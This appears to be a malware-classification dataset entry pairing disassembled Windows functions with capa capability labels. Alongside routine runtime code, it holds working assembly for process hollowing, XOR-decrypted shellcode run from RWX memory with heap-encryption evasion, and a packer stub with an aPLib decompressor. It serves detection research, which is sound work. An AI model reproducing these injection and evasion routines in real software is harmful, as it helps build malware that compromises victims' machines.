joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140007dc0
Capabilities:
Check if file exists
Delete file
Get file attributes
Move file
Terminate process

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x70
movaps xmmword [rsp + 0x60], xmm6
mov rcx, qword [0x14002d0a0]
test rcx, rcx
je 0x140007dfb
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140007e20
mov rcx, qword [0x14002d0a0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x1400300e0], 0
jne 0x140007e38
movaps xmm6, xmmword [rsp + 0x60]
add rsp, 0x70
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov rcx, qword [0x14002d0a0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140007dee
mov edx, 0x414
lea r12, [rsp + 0x20]
lea rsi, [0x14001d3e2]
mov qword [rsp + 0x20], 0
lea rdi, [0x140030100]
movq xmm0, rsi
mov rcx, r12
mov dword [rsp + 0x28], 3
movq xmm6, rdi
mov word [rsp + 0x40], dx
mov rbp, qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, 0x14
punpcklqdq xmm6, xmm0
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], rsi
movaps xmmword [rsp + 0x30], xmm6
call rbp
mov r13, qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov r14, qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140007f04
test al, 0x10
je 0x140007e04
mov ecx, 0x64
call r14
mov eax, 0x414
mov qword [rsp + 0x50], rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 3
mov word [rsp + 0x40], ax
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x48], 0
movaps xmmword [rsp + 0x30], xmm6
call rbp
sub ebx, 1
je 0x140007e04
mov rcx, rdi
call r13
cmp eax, 0xffffffff
jne 0x140007eb0
jmp 0x140007e04

Function at 0x14000e570
Capabilities:
Create directory

Disassembly:
push rdi
mov eax, 0x2020
push rsi
push rbx
call fcn.140015610
sub rsp, rax
mov eax, dword [0x140034100]
mov rsi, rcx
test eax, eax
je 0x14000e610
xor ebx, ebx
lea rdi, [0x140032100]
test eax, eax
jg 0x14000e5ac
jmp 0x14000e5c0
add rbx, 1
cmp dword [0x140034100], ebx
jle 0x14000e5c0
mov rdx, qword [rdi + rbx*8]
mov rcx, rsi
call sub.msvcrt.dll_wcscmp
test eax, eax
jne 0x14000e5a0
jmp 0x14000e5f7
mov rcx, rsi
call sub.msvcrt.dll_wcslen
cmp rax, 2
jne 0x14000e5d5
cmp word [rsi + 2], 0x3a
je 0x14000e5f7
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x14000e660
movsxd rbx, dword [0x140034100]
cmp ebx, 0x3ff
jle 0x14000e678
mov eax, 1
add rsp, 0x2020
pop rbx
pop rsi
pop rdi
ret
lea rdi, [rsp + 0x20]
lea rbx, str.HOME
mov r8d, 0x1000
mov rdx, rbx
mov rcx, rdi
call fcn.140007540
test al, al
je 0x14000e69a
movsxd rbx, dword [0x140034100]
mov rcx, rdi
lea rdi, [0x140032100]
call sub.msvcrt.dll__wcsdup
mov qword [rdi + rbx*8], rax
mov eax, dword [0x140034100]
add eax, 1
mov dword [0x140034100], eax
jmp 0x14000e591
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14000e5e4
xor eax, eax
jmp 0x14000e5fc
mov rcx, rsi
call sub.msvcrt.dll__wcsdup
add dword [0x140034100], 1
mov rdx, rax
lea rax, [0x140032100]
mov qword [rax + rbx*8], rdx
jmp 0x14000e5f7
mov rcx, rbx
call fcn.140007d00
nop
nop word cs:[rax + rax]
nop
Function at 0x1400142f0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.14001b240
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.14001b240
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x140014fc2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140034228]
test eax, eax
je 0x14001505a
lea rax, [0x140034200]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140034230]
mov qword [rbp - 8], rax
jmp 0x14001503e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140015032
cmp qword [rbp - 0x10], 0
je 0x140015032
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140014ff8
lea rax, [0x140034200]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14001505b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140015160
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140015188
mov eax, 0
jmp 0x1400151d6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400151b1
mov eax, 0
jmp 0x1400151d6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x1400151d1
mov eax, 0
jmp 0x1400151d6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x1400151dc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14001525a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140015251
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140015251
mov rax, qword [rbp - 8]
jmp 0x14001526f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140015224
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x508
movaps xmmword [rsp + 0x4f0], xmm6
mov rax, qword [0x140004040]
xor rax, rsp
mov qword [rsp + 0x4e8], rax
stmxcsr dword [rsp + 0xe0]
or dword [rsp + 0xe0], 0x8040
ldmxcsr dword [rsp + 0xe0]
xorps xmm6, xmm6
movaps xmmword [rsp + 0xc0], xmm6
mov qword [rsp + 0xd0], 0
movaps xmmword [rsp + 0x50], xmm6
movaps xmmword [rsp + 0x60], xmm6
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x90], xmm6
movaps xmmword [rsp + 0xa0], xmm6
mov qword [rsp + 0xb0], 0
lea rdi, [0x1400040b0]
movsxd r15, dword [0x1400040ec]
cmp dword [r15 + rdi], 0x4550
jne 0x140001264
lea rsi, [rsp + 0xe0]
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001264
mov edx, 8
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rsp + 0xc8]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140001264
add r15, rdi
mov r8d, dword [r15 + 0x50]
mov rdx, qword [r15 + 0x30]
mov rcx, qword [rsp + 0xc0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov r9d, dword [r15 + 0x54]
mov rcx, qword [rsp + 0xc0]
mov qword [rsp + 0x20], 0
lea rbx, [0x1400040b0]
mov rdx, rax
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp word [r15 + 6], 0
je 0x140001227
lea r14, [r15 + 0x30]
lea r12, [0x1400041b8]
xor r13d, r13d
mov rbp, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop dword [rax + rax]
movsxd rax, dword [0x1400040ec]
mov edx, dword [r12 + rax + 0xc]
mov r9d, dword [r12 + rax + 0x10]
mov r8d, dword [r12 + rax + 0x14]
add r8, rbx
add rdx, rdi
mov rcx, qword [rsp + 0xc0]
mov qword [rsp + 0x20], 0
call rbp
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
mov rcx, qword [rsp + 0xc0]
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, r14
call rbp
inc r13
movzx eax, word [r15 + 6]
add r12, 0x28
cmp r13, rax
jb 0x1400011c0
mov eax, dword [r15 + 0x28]
add rax, rdi
mov qword [rsi + 0x80], rax
mov rcx, qword [rsp + 0xc8]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0xc0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x4e8]
xor rcx, rsp
call fcn.140001d10
xor eax, eax
movaps xmm6, xmmword [rsp + 0x4f0]
add rsp, 0x508
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x1400018a4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400018ee
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400018ee
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400018ee
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400018ee
cmp dword [rcx + 0x84], 0xe
jbe 0x1400018ee
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400018f0
xor al, al
add rsp, 0x28
ret
Function at 0x2fc4c5240
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4c5c42
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4e8108]
test eax, eax
je 0x2fc4c5cda
lea rax, [0x2fc4e80e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4e8110]
mov qword [rbp - 8], rax
jmp 0x2fc4c5cbe
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4c5cb2
cmp qword [rbp - 0x10], 0
je 0x2fc4c5cb2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4c5c78
lea rax, [0x2fc4e80e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4c5cdb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4c5de0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4c5e08
mov eax, 0
jmp 0x2fc4c5e56
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4c5e31
mov eax, 0
jmp 0x2fc4c5e56
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4c5e51
mov eax, 0
jmp 0x2fc4c5e56
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4c5e5c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4c5eda
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4c5ed1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4c5ed1
mov rax, qword [rbp - 8]
jmp 0x2fc4c5eef
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4c5ea4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140e682d4
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140e682de
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140e68307
pop rbp
sub rbp, 0x33
sub rbp, 0xe682d4
sub rsp, 0x20
jmp 0x140e68326
mov rax, 0xe682d4
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x9c2c00
xor byte [rax], dl
inc rax
dec rcx
jne 0x140e68345
jmp 0x140e6835c
mov rcx, rbp
mov ecx, dword [rcx + 0x3c]
add rcx, 0x108
add rcx, rbp
mov rax, 7
mov rdx, 0x28
mul rdx
add rcx, rax
mov eax, dword [rcx + 0xc]
add rax, rbp
push rax
push rax
movabs rax, 0x282a8c
movabs rcx, 0xbe5847
add rcx, rbp
movabs rdx, 0x2740f87
call fcn.140e683b9
jmp 0x140e683cf
pop rax
pop rdx
push rdx
push rax
movabs rax, 0x282a8c
movabs rcx, 0xbe5847
add rcx, rbp
call fcn.140e683f4
jmp 0x140e68681
pop rdi
pop rsi
jmp 0x140e6868c
mov rax, 0xe682d4
add rax, rbp
add rax, 0x3ea
mov rcx, 0x2a5
mov rdx, 0x645d3f09
xor byte [rax], dl
inc rax
dec rcx
jne 0x140e686ab
jmp 0x140e686c2
pop rdi
xor r15b, 0x56
invalid

Function at 0x140e683b9
Capabilities:
Encode data using xor

Disassembly:
shr eax, 2
xor dword [rcx], edx
add rcx, 4
dec rax
jne 0x140e683bc
ret
Function at 0x140e68477
Capabilities:
Decompress data using aplib

Disassembly:
push rsi
push rdi
push rbp
push rdx
mov rdi, rdx
mov rsi, rcx
cld
mov dl, 0x80
mov al, byte [rsi]
add rsi, 1
mov byte [rdi], al
add rdi, 1
mov rbx, 2
add dl, dl
jne 0x140e684ac
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140e68484
add dl, dl
jne 0x140e684c1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140e68546
xor rax, rax
add dl, dl
jne 0x140e684d9
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140e68645
add dl, dl
jne 0x140e684ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc rax, rax
add dl, dl
jne 0x140e68500
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc rax, rax
add dl, dl
jne 0x140e68512
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc rax, rax
add dl, dl
jne 0x140e68524
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc rax, rax
je 0x140e68535
mov rbx, rdi
sub rbx, rax
mov al, byte [rbx]
mov byte [rdi], al
inc rdi
mov rbx, 2
jmp 0x140e6849d
mov rax, 1
add dl, dl
jne 0x140e6855c
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc rax, rax
add dl, dl
jne 0x140e6856e
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140e6854d
sub rax, rbx
mov rbx, 1
jne 0x140e685c1
mov rcx, 1
add dl, dl
jne 0x140e6859a
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc rcx, rcx
add dl, dl
jne 0x140e685ac
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140e6858b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140e6849d
dec rax
shl rax, 8
mov al, byte [rsi]
inc rsi
mov rbp, rax
mov rcx, 1
add dl, dl
jne 0x140e685e6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc rcx, rcx
add dl, dl
jne 0x140e685f8
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140e685d7
cmp rax, 0x7d00
sbb rcx, 0xffffffffffffffff
cmp rax, 0x500
sbb rcx, 0xffffffffffffffff
cmp rax, 0x80
adc rcx, 0
cmp rax, 0x80
adc rcx, 0
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140e6849d
mov al, byte [rsi]
inc rsi
xor rcx, rcx
shr al, 1
je 0x140e68676
adc rcx, 2
mov rbp, rax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov rbx, 1
jmp 0x140e6849d
pop rdx
sub rdi, rdx
mov rax, rdi
pop rbp
pop rdi
pop rsi
ret
Function at 0x140001160
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x78
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x20], 0x7e
lea rcx, [rsp + 0x40]
call fcn.1400013c0
cmp dword [rsp + 0x5c], 0
ja 0x14000117b
lea rcx, [rsp + 0x40]
call fcn.140001630
mov rcx, rax
call fcn.140005d78
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x24], 0
jmp 0x1400011ad
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
movsxd rax, dword [rsp + 0x24]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x40]
call fcn.140001630
mov rcx, qword [rsp + 0x60]
cmp rcx, rax
jae 0x1400011f2
movsxd rax, dword [rsp + 0x24]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140001420
movzx eax, byte [rax]
xor eax, 0x7f
movsxd rcx, dword [rsp + 0x24]
mov rdx, qword [rsp + 0x28]
mov byte [rdx + rcx], al
jmp 0x1400011a3
lea rcx, str.___Encrypted_shellcode_allocated_in_heap_n
call fcn.1400016f0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.140001630
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x14000124f
lea rcx, str.____VirtualAlloc_failed_n
call fcn.1400016f0
mov ecx, 1
call fcn.140006088
mov rdx, qword [rsp + 0x38]
lea rcx, str.___Allocated_space_for_the_buffer__p_n
call fcn.1400016f0
lea rcx, [rsp + 0x40]
call fcn.140001630
movzx r8d, byte [rsp + 0x20]
mov edx, eax
mov rcx, qword [rsp + 0x28]
call section..text
lea rcx, [rsp + 0x40]
call fcn.140001630
mov r8, rax
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x38]
call fcn.140015ea0
lea rcx, str.___Shellcode_decrypted_and_written_n
call fcn.1400016f0
lea rcx, str.___Encrypting_the_heap_for_10_seconds_n
call fcn.1400016f0
call fcn.1400010f0
lea rcx, str.___Decrypting_the_heap_n
call fcn.1400016f0
call fcn.1400010f0
mov rcx, qword [rsp + 0x28]
call fcn.140005d64
mov dword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
call fcn.140001400
mov eax, dword [rsp + 0x30]
add rsp, 0x78
ret

Function at 0x140001e7c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ec6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ec6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ec6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ec6
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ec6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ec8
xor al, al
add rsp, 0x28
ret
Function at 0x140006088
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140005ef3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005ef3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005ef3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005ef3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005ef3
cmp dword [rcx + 0x84], 0xe
jbe 0x140005ef3
cmp dword [rcx + 0xf8], 0
je 0x140005ef3
mov ecx, ebx
call fcn.140005fa4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140005d80
nop
cmp dword [rbp + 0x20], 0
je 0x140005f41
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140005f4c
int3
xor r8d, r8d
xor edx, edx
jmp 0x140005e84
Function at 0x14000dcf8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000dd28
xor eax, eax
jmp 0x14000ddeb
mov rbp, rbx
cmp word [rax], si
je 0x14000dd4d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000dd34
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000dd30
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000dc18
movsxd r14, eax
test eax, eax
jne 0x14000dd8b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000dd21
mov rcx, r14
call fcn.140009cc0
mov rdi, rax
test rax, rax
jne 0x14000dda4
xor ecx, ecx
call fcn.140009c84
jmp 0x14000dd80
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000dc18
test eax, eax
jne 0x14000ddd5
mov rcx, rdi
call fcn.140009c84
jmp 0x14000dddf
xor ecx, ecx
call fcn.140009c84
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140011fec
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140012002
mov al, 1
jmp 0x140012062
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140012013
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140012060
mov ecx, dword [rcx + 0x18]
nop
call fcn.14000e4fc
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140012060
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140012060
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140012060
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140012062
xor al, al
add rsp, 0x20
pop rbx
ret